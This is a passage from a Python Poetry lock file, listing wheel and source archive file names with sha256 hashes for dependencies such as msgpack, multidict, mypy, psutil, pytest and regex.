"sha256:26a1759f1a88df5f1d0b393eb582ec022326994e311ba9c5818adc5374736439"}, 1196 | {file = "msgpack-1.0.2-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:497d2c12426adcd27ab83144057a705efb6acc7e85957a51d43cdcf7f258900f"}, 1197 | {file = "msgpack-1.0.2-cp36-cp36m-win32.whl", hash = "sha256:e89ec55871ed5473a041c0495b7b4e6099f6263438e0bd04ccd8418f92d5d7f2"}, 1198 | {file = "msgpack-1.0.2-cp36-cp36m-win_amd64.whl", hash = "sha256:a4355d2193106c7aa77c98fc955252a737d8550320ecdb2e9ac701e15e2943bc"}, 1199 | {file = "msgpack-1.0.2-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:d6c64601af8f3893d17ec233237030e3110f11b8a962cb66720bf70c0141aa54"}, 1200 | {file = "msgpack-1.0.2-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:f484cd2dca68502de3704f056fa9b318c94b1539ed17a4c784266df5d6978c87"}, 1201 | {file = "msgpack-1.0.2-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:f3e6aaf217ac1c7ce1563cf52a2f4f5d5b1f64e8729d794165db71da57257f0c"}, 1202 | {file = "msgpack-1.0.2-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:8521e5be9e3b93d4d5e07cb80b7e32353264d143c1f072309e1863174c6aadb1"}, 1203 | {file = "msgpack-1.0.2-cp37-cp37m-win32.whl", hash = "sha256:31c17bbf2ae5e29e48d794c693b7ca7a0c73bd4280976d408c53df421e838d2a"}, 1204 | {file = "msgpack-1.0.2-cp37-cp37m-win_amd64.whl", hash = "sha256:8ffb24a3b7518e843cd83538cf859e026d24ec41ac5721c18ed0c55101f9775b"}, 1205 | {file = "msgpack-1.0.2-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:b28c0876cce1466d7c2195d7658cf50e4730667196e2f1355c4209444717ee06"}, 1206 | {file = "msgpack-1.0.2-cp38-cp38-manylinux1_i686.whl", hash = "sha256:87869ba567fe371c4555d2e11e4948778ab6b59d6cc9d8460d543e4cfbbddd1c"}, 1207 | {file = "msgpack-1.0.2-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:b55f7db883530b74c857e50e149126b91bb75d35c08b28db12dcb0346f15e46e"}, 1208 | {file = "msgpack-1.0.2-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:ac25f3e0513f6673e8b405c3a80500eb7be1cf8f57584be524c4fa78fe8e0c83"}, 1209 | {file = "msgpack-1.0.2-cp38-cp38-win32.whl", hash = "sha256:0cb94ee48675a45d3b86e61d13c1e6f1696f0183f0715544976356ff86f741d9"}, 1210 | {file = "msgpack-1.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:e36a812ef4705a291cdb4a2fd352f013134f26c6ff63477f20235138d1d21009"}, 1211 | {file = "msgpack-1.0.2-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:2a5866bdc88d77f6e1370f82f2371c9bc6fc92fe898fa2dec0c5d4f5435a2694"}, 1212 | {file = "msgpack-1.0.2-cp39-cp39-manylinux1_i686.whl", hash = "sha256:92be4b12de4806d3c36810b0fe2aeedd8d493db39e2eb90742b9c09299eb5759"}, 1213 | {file = "msgpack-1.0.2-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:de6bd7990a2c2dabe926b7e62a92886ccbf809425c347ae7de277067f97c2887"}, 1214 | {file = "msgpack-1.0.2-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:5a9ee2540c78659a1dd0b110f73773533ee3108d4e1219b5a15a8d635b7aca0e"}, 1215 | {file = "msgpack-1.0.2-cp39-cp39-win32.whl", hash = "sha256:c747c0cc08bd6d72a586310bda6ea72eeb28e7505990f342552315b229a19b33"}, 1216 | {file = "msgpack-1.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:d8167b84af26654c1124857d71650404336f4eb5cc06900667a493fc619ddd9f"}, 1217 | {file = "msgpack-1.0.2.tar.gz", hash = "sha256:fae04496f5bc150eefad4e9571d1a76c55d021325dcd484ce45065ebbdd00984"}, 1218 | ] 1219 | multidict = [ 1220 | {file = "multidict-5.1.0-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:b7993704f1a4b204e71debe6095150d43b2ee6150fa4f44d6d966ec356a8d61f"}, 1221 | {file = "multidict-5.1.0-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:9dd6e9b1a913d096ac95d0399bd737e00f2af1e1594a787e00f7975778c8b2bf"}, 1222 | {file = "multidict-5.1.0-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:f21756997ad8ef815d8ef3d34edd98804ab5ea337feedcd62fb52d22bf531281"}, 1223 | {file = "multidict-5.1.0-cp36-cp36m-manylinux2014_i686.whl", hash = "sha256:1ab820665e67373de5802acae069a6a05567ae234ddb129f31d290fc3d1aa56d"}, 1224 | {file = "multidict-5.1.0-cp36-cp36m-manylinux2014_ppc64le.whl", hash = "sha256:9436dc58c123f07b230383083855593550c4d301d2532045a17ccf6eca505f6d"}, 1225 | {file = "multidict-5.1.0-cp36-cp36m-manylinux2014_s390x.whl", hash = "sha256:830f57206cc96ed0ccf68304141fec9481a096c4d2e2831f311bde1c404401da"}, 1226 | {file = "multidict-5.1.0-cp36-cp36m-manylinux2014_x86_64.whl", hash = "sha256:2e68965192c4ea61fff1b81c14ff712fc7dc15d2bd120602e4a3494ea6584224"}, 1227 | {file = "multidict-5.1.0-cp36-cp36m-win32.whl", hash = "sha256:2f1a132f1c88724674271d636e6b7351477c27722f2ed789f719f9e3545a3d26"}, 1228 | {file = "multidict-5.1.0-cp36-cp36m-win_amd64.whl", hash = "sha256:3a4f32116f8f72ecf2a29dabfb27b23ab7cdc0ba807e8459e59a93a9be9506f6"}, 1229 | {file = "multidict-5.1.0-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:46c73e09ad374a6d876c599f2328161bcd95e280f84d2060cf57991dec5cfe76"}, 1230 | {file = "multidict-5.1.0-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:018132dbd8688c7a69ad89c4a3f39ea2f9f33302ebe567a879da8f4ca73f0d0a"}, 1231 | {file = "multidict-5.1.0-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:4b186eb7d6ae7c06eb4392411189469e6a820da81447f46c0072a41c748ab73f"}, 1232 | {file = "multidict-5.1.0-cp37-cp37m-manylinux2014_i686.whl", hash = "sha256:3a041b76d13706b7fff23b9fc83117c7b8fe8d5fe9e6be45eee72b9baa75f348"}, 1233 | {file = "multidict-5.1.0-cp37-cp37m-manylinux2014_ppc64le.whl", hash = "sha256:051012ccee979b2b06be928a6150d237aec75dd6bf2d1eeeb190baf2b05abc93"}, 1234 | {file = "multidict-5.1.0-cp37-cp37m-manylinux2014_s390x.whl", hash = "sha256:6a4d5ce640e37b0efcc8441caeea8f43a06addace2335bd11151bc02d2ee31f9"}, 1235 | {file = "multidict-5.1.0-cp37-cp37m-manylinux2014_x86_64.whl", hash = "sha256:5cf3443199b83ed9e955f511b5b241fd3ae004e3cb81c58ec10f4fe47c7dce37"}, 1236 | {file = "multidict-5.1.0-cp37-cp37m-win32.whl", hash = "sha256:f200755768dc19c6f4e2b672421e0ebb3dd54c38d5a4f262b872d8cfcc9e93b5"}, 1237 | {file = "multidict-5.1.0-cp37-cp37m-win_amd64.whl", hash = "sha256:05c20b68e512166fddba59a918773ba002fdd77800cad9f55b59790030bab632"}, 1238 | {file = "multidict-5.1.0-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:54fd1e83a184e19c598d5e70ba508196fd0bbdd676ce159feb412a4a6664f952"}, 1239 | {file = "multidict-5.1.0-cp38-cp38-manylinux1_i686.whl", hash = "sha256:0e3c84e6c67eba89c2dbcee08504ba8644ab4284863452450520dad8f1e89b79"}, 1240 | {file = "multidict-5.1.0-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:dc862056f76443a0db4509116c5cd480fe1b6a2d45512a653f9a855cc0517456"}, 1241 | {file = "multidict-5.1.0-cp38-cp38-manylinux2014_i686.whl", hash = "sha256:0e929169f9c090dae0646a011c8b058e5e5fb391466016b39d21745b48817fd7"}, 1242 | {file = "multidict-5.1.0-cp38-cp38-manylinux2014_ppc64le.whl", hash = "sha256:d81eddcb12d608cc08081fa88d046c78afb1bf8107e6feab5d43503fea74a635"}, 1243 | {file = "multidict-5.1.0-cp38-cp38-manylinux2014_s390x.whl", hash = "sha256:585fd452dd7782130d112f7ddf3473ffdd521414674c33876187e101b588738a"}, 1244 | {file = "multidict-5.1.0-cp38-cp38-manylinux2014_x86_64.whl", hash = "sha256:37e5438e1c78931df5d3c0c78ae049092877e5e9c02dd1ff5abb9cf27a5914ea"}, 1245 | {file = "multidict-5.1.0-cp38-cp38-win32.whl", hash = "sha256:07b42215124aedecc6083f1ce6b7e5ec5b50047afa701f3442054373a6deb656"}, 1246 | {file = "multidict-5.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:929006d3c2d923788ba153ad0de8ed2e5ed39fdbe8e7be21e2f22ed06c6783d3"}, 1247 | {file = "multidict-5.1.0-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:b797515be8743b771aa868f83563f789bbd4b236659ba52243b735d80b29ed93"}, 1248 | {file = "multidict-5.1.0-cp39-cp39-manylinux1_i686.whl", hash = "sha256:d5c65bdf4484872c4af3150aeebe101ba560dcfb34488d9a8ff8dbcd21079647"}, 1249 | {file = "multidict-5.1.0-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:b47a43177a5e65b771b80db71e7be76c0ba23cc8aa73eeeb089ed5219cdbe27d"}, 1250 | {file = "multidict-5.1.0-cp39-cp39-manylinux2014_i686.whl", hash = "sha256:806068d4f86cb06af37cd65821554f98240a19ce646d3cd24e1c33587f313eb8"}, 1251 | {file = "multidict-5.1.0-cp39-cp39-manylinux2014_ppc64le.whl", hash = "sha256:46dd362c2f045095c920162e9307de5ffd0a1bfbba0a6e990b344366f55a30c1"}, 1252 | {file = "multidict-5.1.0-cp39-cp39-manylinux2014_s390x.whl", hash = "sha256:ace010325c787c378afd7f7c1ac66b26313b3344628652eacd149bdd23c68841"}, 1253 | {file = "multidict-5.1.0-cp39-cp39-manylinux2014_x86_64.whl", hash = "sha256:ecc771ab628ea281517e24fd2c52e8f31c41e66652d07599ad8818abaad38cda"}, 1254 | {file = "multidict-5.1.0-cp39-cp39-win32.whl", hash = "sha256:fc13a9524bc18b6fb6e0dbec3533ba0496bbed167c56d0aabefd965584557d80"}, 1255 | {file = "multidict-5.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:7df80d07818b385f3129180369079bd6934cf70469f99daaebfac89dca288359"}, 1256 | {file = "multidict-5.1.0.tar.gz", hash = "sha256:25b4e5f22d3a37ddf3effc0710ba692cfc792c2b9edfb9c05aefe823256e84d5"}, 1257 | ] 1258 | mypy = [ 1259 | {file = "mypy-0.790-cp35-cp35m-macosx_10_6_x86_64.whl", hash = "sha256:bd03b3cf666bff8d710d633d1c56ab7facbdc204d567715cb3b9f85c6e94f669"}, 1260 | {file = "mypy-0.790-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:2170492030f6faa537647d29945786d297e4862765f0b4ac5930ff62e300d802"}, 1261 | {file = "mypy-0.790-cp35-cp35m-win_amd64.whl", hash = "sha256:e86bdace26c5fe9cf8cb735e7cedfe7850ad92b327ac5d797c656717d2ca66de"}, 1262 | {file = "mypy-0.790-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:e97e9c13d67fbe524be17e4d8025d51a7dca38f90de2e462243ab8ed8a9178d1"}, 1263 | {file = "mypy-0.790-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:0d34d6b122597d48a36d6c59e35341f410d4abfa771d96d04ae2c468dd201abc"}, 1264 | {file = "mypy-0.790-cp36-cp36m-win_amd64.whl", hash = "sha256:72060bf64f290fb629bd4a67c707a66fd88ca26e413a91384b18db3876e57ed7"}, 1265 | {file = "mypy-0.790-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:eea260feb1830a627fb526d22fbb426b750d9f5a47b624e8d5e7e004359b219c"}, 1266 | {file = "mypy-0.790-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:c614194e01c85bb2e551c421397e49afb2872c88b5830e3554f0519f9fb1c178"}, 1267 | {file = "mypy-0.790-cp37-cp37m-win_amd64.whl", hash = "sha256:0a0d102247c16ce93c97066443d11e2d36e6cc2a32d8ccc1f705268970479324"}, 1268 | {file = "mypy-0.790-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cf4e7bf7f1214826cf7333627cb2547c0db7e3078723227820d0a2490f117a01"}, 1269 | {file = "mypy-0.790-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:af4e9ff1834e565f1baa74ccf7ae2564ae38c8df2a85b057af1dbbc958eb6666"}, 1270 | {file = "mypy-0.790-cp38-cp38-win_amd64.whl", hash = "sha256:da56dedcd7cd502ccd3c5dddc656cb36113dd793ad466e894574125945653cea"}, 1271 | {file = "mypy-0.790-py3-none-any.whl", hash = "sha256:2842d4fbd1b12ab422346376aad03ff5d0805b706102e475e962370f874a5122"}, 1272 | {file = "mypy-0.790.tar.gz", hash = "sha256:2b21ba45ad9ef2e2eb88ce4aeadd0112d0f5026418324176fd494a6824b74975"}, 1273 | ] 1274 | mypy-extensions = [ 1275 | {file = "mypy_extensions-0.4.3-py2.py3-none-any.whl", hash = "sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d"}, 1276 | {file = "mypy_extensions-0.4.3.tar.gz", hash = "sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8"}, 1277 | ] 1278 | packaging = [ 1279 | {file = "packaging-21.0-py3-none-any.whl", hash = "sha256:c86254f9220d55e31cc94d69bade760f0847da8000def4dfe1c6b872fd14ff14"}, 1280 | {file = "packaging-21.0.tar.gz", hash = "sha256:7dc96269f53a4ccec5c0670940a4281106dd0bb343f47b7471f779df49c2fbe7"}, 1281 | ] 1282 | parso = [ 1283 | {file = "parso-0.7.1-py2.py3-none-any.whl", hash = "sha256:97218d9159b2520ff45eb78028ba8b50d2bc61dcc062a9682666f2dc4bd331ea"}, 1284 | {file = "parso-0.7.1.tar.gz", hash = "sha256:caba44724b994a8a5e086460bb212abc5a8bc46951bf4a9a1210745953622eb9"}, 1285 | ] 1286 | pathspec = [ 1287 | {file = "pathspec-0.9.0-py2.py3-none-any.whl", hash = "sha256:7d15c4ddb0b5c802d161efc417ec1a2558ea2653c2e8ad9c19098201dc1c993a"}, 1288 | {file = "pathspec-0.9.0.tar.gz", hash = "sha256:e564499435a2673d586f6b2130bb5b95f04a3ba06f81b8f895b651a3c76aabb1"}, 1289 | ] 1290 | pexpect = [ 1291 | {file = "pexpect-4.8.0-py2.py3-none-any.whl", hash = "sha256:0b48a55dcb3c05f3329815901ea4fc1537514d6ba867a152b581d69ae3710937"}, 1292 | {file = "pexpect-4.8.0.tar.gz", hash = "sha256:fc65a43959d153d0114afe13997d439c22823a27cefceb5ff35c2178c6784c0c"}, 1293 | ] 1294 | pickleshare = [ 1295 | {file = "pickleshare-0.7.5-py2.py3-none-any.whl", hash = "sha256:9649af414d74d4df115d5d718f82acb59c9d418196b7b4290ed47a12ce62df56"}, 1296 | {file = "pickleshare-0.7.5.tar.gz", hash = "sha256:87683d47965c1da65cdacaf31c8441d12b8044cdec9aca500cd78fc2c683afca"}, 1297 | ] 1298 | pluggy = [ 1299 | {file = "pluggy-0.13.1-py2.py3-none-any.whl", hash = "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d"}, 1300 | {file = "pluggy-0.13.1.tar.gz", hash = "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0"}, 1301 | ] 1302 | prompt-toolkit = [ 1303 | {file = "prompt_toolkit-3.0.20-py3-none-any.whl", hash = "sha256:6076e46efae19b1e0ca1ec003ed37a933dc94b4d20f486235d436e64771dcd5c"}, 1304 | {file = "prompt_toolkit-3.0.20.tar.gz", hash = "sha256:eb71d5a6b72ce6db177af4a7d4d7085b99756bf656d98ffcc4fecd36850eea6c"}, 1305 | ] 1306 | psutil = [ 1307 | {file = "psutil-5.8.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:0066a82f7b1b37d334e68697faba68e5ad5e858279fd6351c8ca6024e8d6ba64"}, 1308 | {file = "psutil-5.8.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:0ae6f386d8d297177fd288be6e8d1afc05966878704dad9847719650e44fc49c"}, 1309 | {file = "psutil-5.8.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:12d844996d6c2b1d3881cfa6fa201fd635971869a9da945cf6756105af73d2df"}, 1310 | {file = "psutil-5.8.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:02b8292609b1f7fcb34173b25e48d0da8667bc85f81d7476584d889c6e0f2131"}, 1311 | {file = "psutil-5.8.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:6ffe81843131ee0ffa02c317186ed1e759a145267d54fdef1bc4ea5f5931ab60"}, 1312 | {file = "psutil-5.8.0-cp27-none-win32.whl", hash = "sha256:ea313bb02e5e25224e518e4352af4bf5e062755160f77e4b1767dd5ccb65f876"}, 1313 | {file = "psutil-5.8.0-cp27-none-win_amd64.whl", hash = "sha256:5da29e394bdedd9144c7331192e20c1f79283fb03b06e6abd3a8ae45ffecee65"}, 1314 | {file = "psutil-5.8.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:74fb2557d1430fff18ff0d72613c5ca30c45cdbfcddd6a5773e9fc1fe9364be8"}, 1315 | {file = "psutil-5.8.0-cp36-cp36m-manylinux2010_i686.whl", hash = "sha256:74f2d0be88db96ada78756cb3a3e1b107ce8ab79f65aa885f76d7664e56928f6"}, 1316 | {file = "psutil-5.8.0-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:99de3e8739258b3c3e8669cb9757c9a861b2a25ad0955f8e53ac662d66de61ac"}, 1317 | {file = "psutil-5.8.0-cp36-cp36m-win32.whl", hash = "sha256:36b3b6c9e2a34b7d7fbae330a85bf72c30b1c827a4366a07443fc4b6270449e2"}, 1318 | {file = "psutil-5.8.0-cp36-cp36m-win_amd64.whl", hash = "sha256:52de075468cd394ac98c66f9ca33b2f54ae1d9bff1ef6b67a212ee8f639ec06d"}, 1319 | {file = "psutil-5.8.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c6a5fd10ce6b6344e616cf01cc5b849fa8103fbb5ba507b6b2dee4c11e84c935"}, 1320 | {file = "psutil-5.8.0-cp37-cp37m-manylinux2010_i686.whl", hash = "sha256:61f05864b42fedc0771d6d8e49c35f07efd209ade09a5afe6a5059e7bb7bf83d"}, 1321 | {file = "psutil-5.8.0-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:0dd4465a039d343925cdc29023bb6960ccf4e74a65ad53e768403746a9207023"}, 1322 | {file = "psutil-5.8.0-cp37-cp37m-win32.whl", hash = "sha256:1bff0d07e76114ec24ee32e7f7f8d0c4b0514b3fae93e3d2aaafd65d22502394"}, 1323 | {file = "psutil-5.8.0-cp37-cp37m-win_amd64.whl", hash = "sha256:fcc01e900c1d7bee2a37e5d6e4f9194760a93597c97fee89c4ae51701de03563"}, 1324 | {file = "psutil-5.8.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6223d07a1ae93f86451d0198a0c361032c4c93ebd4bf6d25e2fb3edfad9571ef"}, 1325 | {file = "psutil-5.8.0-cp38-cp38-manylinux2010_i686.whl", hash = "sha256:d225cd8319aa1d3c85bf195c4e07d17d3cd68636b8fc97e6cf198f782f99af28"}, 1326 | {file = "psutil-5.8.0-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:28ff7c95293ae74bf1ca1a79e8805fcde005c18a122ca983abf676ea3466362b"}, 1327 | {file = "psutil-5.8.0-cp38-cp38-win32.whl", hash = "sha256:ce8b867423291cb65cfc6d9c4955ee9bfc1e21fe03bb50e177f2b957f1c2469d"}, 1328 | {file = "psutil-5.8.0-cp38-cp38-win_amd64.whl", hash = "sha256:90f31c34d25b1b3ed6c40cdd34ff122b1887a825297c017e4cbd6796dd8b672d"}, 1329 | {file = "psutil-5.8.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6323d5d845c2785efb20aded4726636546b26d3b577aded22492908f7c1bdda7"}, 1330 | {file = "psutil-5.8.0-cp39-cp39-manylinux2010_i686.whl", hash = "sha256:245b5509968ac0bd179287d91210cd3f37add77dad385ef238b275bad35fa1c4"}, 1331 | {file = "psutil-5.8.0-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:90d4091c2d30ddd0a03e0b97e6a33a48628469b99585e2ad6bf21f17423b112b"}, 1332 | {file = "psutil-5.8.0-cp39-cp39-win32.whl", hash = "sha256:ea372bcc129394485824ae3e3ddabe67dc0b118d262c568b4d2602a7070afdb0"}, 1333 | {file = "psutil-5.8.0-cp39-cp39-win_amd64.whl", hash = "sha256:f4634b033faf0d968bb9220dd1c793b897ab7f1189956e1aa9eae752527127d3"}, 1334 | {file = "psutil-5.8.0.tar.gz", hash = "sha256:0c9ccb99ab76025f2f0bbecf341d4656e9c1351db8cc8a03ccd62e318ab4b5c6"}, 1335 | ] 1336 | ptyprocess = [ 1337 | {file = "ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35"}, 1338 | {file = "ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220"}, 1339 | ] 1340 | py = [ 1341 | {file = "py-1.10.0-py2.py3-none-any.whl", hash = "sha256:3b80836aa6d1feeaa108e046da6423ab8f6ceda6468545ae8d02d9d58d18818a"}, 1342 | {file = "py-1.10.0.tar.gz", hash = "sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3"}, 1343 | ] 1344 | pycodestyle = [ 1345 | {file = "pycodestyle-2.7.0-py2.py3-none-any.whl", hash = "sha256:514f76d918fcc0b55c6680472f0a37970994e07bbb80725808c17089be302068"}, 1346 | {file = "pycodestyle-2.7.0.tar.gz", hash = "sha256:c389c1d06bf7904078ca03399a4816f974a1d590090fecea0c63ec26ebaf1cef"}, 1347 | ] 1348 | pydocstyle = [ 1349 | {file = "pydocstyle-5.1.1-py3-none-any.whl", hash = "sha256:aca749e190a01726a4fb472dd4ef23b5c9da7b9205c0a7857c06533de13fd678"}, 1350 | {file = "pydocstyle-5.1.1.tar.gz", hash = "sha256:19b86fa8617ed916776a11cd8bc0197e5b9856d5433b777f51a3defe13075325"}, 1351 | ] 1352 | pyflakes = [ 1353 | {file = "pyflakes-2.3.1-py2.py3-none-any.whl", hash = "sha256:7893783d01b8a89811dd72d7dfd4d84ff098e5eed95cfa8905b22bbffe52efc3"}, 1354 | {file = "pyflakes-2.3.1.tar.gz", hash = "sha256:f5bc8ecabc05bb9d291eb5203d6810b49040f6ff446a756326104746cc00c1db"}, 1355 | ] 1356 | pygments = [ 1357 | {file = "Pygments-2.10.0-py3-none-any.whl", hash = "sha256:b8e67fe6af78f492b3c4b3e2970c0624cbf08beb1e493b2c99b9fa1b67a20380"}, 1358 | {file = "Pygments-2.10.0.tar.gz", hash = "sha256:f398865f7eb6874156579fdf36bc840a03cab64d1cde9e93d68f46a425ec52c6"}, 1359 | ] 1360 | pylint = [ 1361 | {file = "pylint-2.9.6-py3-none-any.whl", hash = "sha256:2e1a0eb2e8ab41d6b5dbada87f066492bb1557b12b76c47c2ee8aa8a11186594"}, 1362 | {file = "pylint-2.9.6.tar.gz", hash = "sha256:8b838c8983ee1904b2de66cce9d0b96649a91901350e956d78f289c3bc87b48e"}, 1363 | ] 1364 | pynvim = [ 1365 | {file = "pynvim-0.4.3.tar.gz", hash = "sha256:3a795378bde5e8092fbeb3a1a99be9c613d2685542f1db0e5c6fd467eed56dff"}, 1366 | ] 1367 | pyparsing = [ 1368 | {file = "pyparsing-2.4.7-py2.py3-none-any.whl", hash = "sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b"}, 1369 | {file = "pyparsing-2.4.7.tar.gz", hash = "sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1"}, 1370 | ] 1371 | pytest = [ 1372 | {file = "pytest-6.2.4-py3-none-any.whl", hash = "sha256:91ef2131a9bd6be8f76f1f08eac5c5317221d6ad1e143ae03894b862e8976890"}, 1373 | {file = "pytest-6.2.4.tar.gz", hash = "sha256:50bcad0a0b9c5a72c8e4e7c9855a3ad496ca6a881a3641b4260605450772c54b"}, 1374 | ] 1375 | pytest-check = [ 1376 | {file = "pytest_check-0.3.9-py2.py3-none-any.whl", hash = "sha256:2c668e513bd13c707df8e12b532d4f9cdbfc6ddbef259bdee52463dc04d21de0"}, 1377 | {file = "pytest_check-0.3.9.tar.gz", hash = "sha256:496b455ee0889783d9977c15c81d0983fb9ebe69ce85af9dc3dccce7c0cf592b"}, 1378 | ] 1379 | pytest-dependency = [ 1380 | {file = "pytest-dependency-0.5.1.tar.gz", hash = "sha256:c2a892906192663f85030a6ab91304e508e546cddfe557d692d61ec57a1d946b"}, 1381 | ] 1382 | pytest-repeat = [ 1383 | {file = "pytest-repeat-0.9.1.tar.gz", hash = "sha256:5cd3289745ab3156d43eb9c8e7f7d00a926f3ae5c9cf425bec649b2fe15bad5b"}, 1384 | {file = "pytest_repeat-0.9.1-py2.py3-none-any.whl", hash = "sha256:4474a7d9e9137f6d8cc8ae297f8c4168d33c56dd740aa78cfffe562557e6b96e"}, 1385 | ] 1386 | python-dateutil = [ 1387 | {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"}, 1388 | {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"}, 1389 | ] 1390 | radon = [ 1391 | {file = "radon-4.5.2-py2.py3-none-any.whl", hash = "sha256:0fc191bfb6938e67f881764f7242c163fb3c78fc7acdfc5a0b8254c66ff9dc8b"}, 1392 | {file = "radon-4.5.2.tar.gz", hash = "sha256:63b863dd294fcc86f6aecace8d7cb4228acc2a16ab0b89c11ff60cb14182b488"}, 1393 | ] 1394 | regex = [ 1395 | {file = "regex-2021.8.3-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:8764a78c5464ac6bde91a8c87dd718c27c1cabb7ed2b4beaf36d3e8e390567f9"}, 1396 | {file = "regex-2021.8.3-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4551728b767f35f86b8e5ec19a363df87450c7376d7419c3cac5b9ceb4bce576"}, 1397 | {file = "regex-2021.8.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:577737ec3d4c195c4aef01b757905779a9e9aee608fa1cf0aec16b5576c893d3"}, 1398 | {file = "regex-2021.8.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:c856ec9b42e5af4fe2d8e75970fcc3a2c15925cbcc6e7a9bcb44583b10b95e80"}, 1399 | {file = "regex-2021.8.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3835de96524a7b6869a6c710b26c90e94558c31006e96ca3cf6af6751b27dca1"}, 1400 | {file = "regex-2021.8.3-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:cea56288eeda8b7511d507bbe7790d89ae7049daa5f51ae31a35ae3c05408531"}, 1401 | {file = "regex-2021.8.3-cp36-cp36m-win32.whl", hash = "sha256:a4eddbe2a715b2dd3849afbdeacf1cc283160b24e09baf64fa5675f51940419d"}, 1402 | {file = "regex-2021.8.3-cp36-cp36m-win_amd64.whl", hash = "sha256:57fece29f7cc55d882fe282d9de52f2f522bb85290555b49394102f3621751ee"}, 1403 | {file = "regex-2021.8.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:a5c6dbe09aff091adfa8c7cfc1a0e83fdb8021ddb2c183512775a14f1435fe16"}, 1404 | {file = "regex-2021.8.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ff4a8ad9638b7ca52313d8732f37ecd5fd3c8e3aff10a8ccb93176fd5b3812f6"}, 1405 | {file = "regex-2021.8.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b63e3571b24a7959017573b6455e05b675050bbbea69408f35f3cb984ec54363"}, 1406 | {file = "regex-2021.8.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:fbc20975eee093efa2071de80df7f972b7b35e560b213aafabcec7c0bd00bd8c"}, 1407 | {file = "regex-2021.8.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:14caacd1853e40103f59571f169704367e79fb78fac3d6d09ac84d9197cadd16"}, 1408 | {file = "regex-2021.8.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = 